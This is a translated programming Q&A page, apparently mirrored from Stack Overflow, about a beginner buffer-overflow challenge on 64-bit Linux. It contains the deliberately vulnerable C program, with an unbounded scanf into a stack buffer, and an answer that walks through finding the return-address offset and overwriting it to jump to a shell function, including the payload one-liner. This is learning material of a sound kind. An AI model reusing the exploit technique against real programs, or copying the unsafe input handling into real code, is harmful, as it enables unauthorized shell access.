繁体   English   中英

缓冲区溢出 - linux 64bit

[英]Buffer overflow - linux 64bit

我一直在研究“缓冲区溢出linux 64bit”挑战的测试程序。 启动程序时,会提示输入密码。

目的是利用密码字段中的缓冲区溢出错误来访问shell部分。 因为我是这个领域的初学者。 我去了网上关注一些教程。 在我的研究之前和期间,我在这个网站上多次摔倒,以便更好地理解main.c的源代码,也可以在下面的链接中找到。

我在Linux上使用GDBobjdump来进行断点和反汇编。

调查结果/步骤:

  • 当我转换shell地址时输入的密码存储在RSP ,这是我在PC上的那种类型0x555555559bd的ASCII。
  • 然后,我反转所有我得到的: ½IUUUU
  • 当我输入此值作为密码时,我在RSP注册表中获取地址0x555555559bd
  • 我也知道我可以通过输入例如: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa½IUUUU来压缩RBP的值。
  • 地址在RBP写为"½IUUUU"

问题:这就是我被阻止的地方我想知道我可以做什么样的注射来在地址0x9bd进行跳转?

这是包含源代码和cc命令的文件: http//mtnb.be/test_login_overflow.rar

码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BANNER "\n\
BUFFER OVER FLOW TEST\n\
"

char passwd[33] = {0};

void readPasswd(){
  FILE *file = fopen("/home/user/passwd", "r");
  if (!file){
    puts("ERROR: Unable to read /home/user/passwd");
    exit(1);
  }
  fread(passwd, 1, 32, file);
}

void runShell()
{
  system("bash");
}


int check_passwd(){
  char debug = 0;
  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

  if (debug){
    printf("runShell @ %p\n", runShell);
    fflush(stdout);
  }
  if (strncmp(passwd, buffer, 32))
    return 0;
  else
    return 1;
}

void login()
{
  while (1){
    if (check_passwd())
      break;
    puts("Invalid password !");
    fflush(stdout);
  }
  puts("Welcome admin, here is your shell !");
  fflush(stdout);
  runShell();
}

int main()
{
  char passwd[33] = {0};
  puts(BANNER);
  fflush(stdout);
  readPasswd();
  login();

  return 0;
}

这是一个简单的缓冲区溢出,因为您可以看到scanf函数中发生缓冲区溢出:

  char buffer[33] = {0};

  puts("Enter your password:");
  fflush(stdout);
  scanf("%s", buffer);

要利用它,首先应该知道覆盖指令程序(RIP)的偏移并获得执行控制,

我用gdb + PEDA:

gdb-peda$ pattern create 100 input
gdb-peda$ r < input
...
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 48
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~44
...

现在,我们有了利用缓冲区溢出的偏移量。 所以,我们可以获得EIP控制。

[manu@debian /tmp]$ python -c 'print "A"*56+"BBBBBBBB"' > input


gdb-peda$ r < input
...
   0x4008b7 <check_passwd+174>: leave  
=> 0x4008b8 <check_passwd+175>: ret 
...    
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe248 ("BBBBBBBB")

我们知道,当调用ret指令时,EIP将是堆栈顶部的地址。 因此,我们将te地址更改为0x4007f9并运行shell。

[manu@debian /tmp]$ readelf -s bof
...
    60: 0000000000600ee0     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    61: 00000000004007f9    16 FUNC    GLOBAL DEFAULT   13 runShell
    62: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
...

[manu@debian /tmp]$ python -c 'print "A"*56+"\xf9\x07\x40\x00\x00\x00\x00\x00"' > input
[manu@debian /tmp]$ (cat input;cat) | ./bof 

BUFFER OVER FLOW TEST

Enter your password:
runShell @ 0x4007f9
id
uid=1000(manu) gid=1000(manu) grupos=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),119(bluetooth)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM